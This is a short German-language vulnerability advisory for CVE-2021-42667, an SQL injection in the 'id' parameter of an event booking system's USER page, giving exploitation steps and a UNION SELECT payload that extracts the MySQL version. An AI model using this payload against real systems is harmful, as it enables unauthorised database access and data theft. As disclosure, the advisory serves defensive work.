CVE-2021-42667

CVE-2021-42667 - SQL-Injection-Schwachstelle im Online-Eventbuchungs- und Reservierungssystem Version 2.3.0.

Technische Beschreibung:

Eine SQL-Injection-Schwachstelle existiert in der Eventmanagement-Software Version 2.3.0. Ein Angreifer kann den anfälligen Parameter „id“ auf der Webseite „USER“ ausnutzen, um die ausgeführte SQL-Abfrage zu manipulieren. Dadurch kann der Angreifer sensible Daten vom Webserver extrahieren.

Anfällige Seite - USER

Anfälliger Parameter - „id“

Schritte zur Ausnutzung:

1. Navigieren Sie zu http://localhost/event-management/views/?v=USER&ID=1
2. Fügen Sie Ihren Payload in den id-Parameter ein

Proof of concept (Poc) -

Der folgende Payload ermöglicht es Ihnen, die auf dem Webserver laufende MySQL-Serverversion zu extrahieren -

UNION ALL SELECT NULL,NULL,NULL,@@version,NULL,NULL,NULL,NULL,NULL;-- -

Referenzen -

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42667

https://nvd.nist.gov/vuln/detail/CVE-2021-42667

Entdeckt von -

Alon Leviev(0xDeku), 22. Oktober 2021.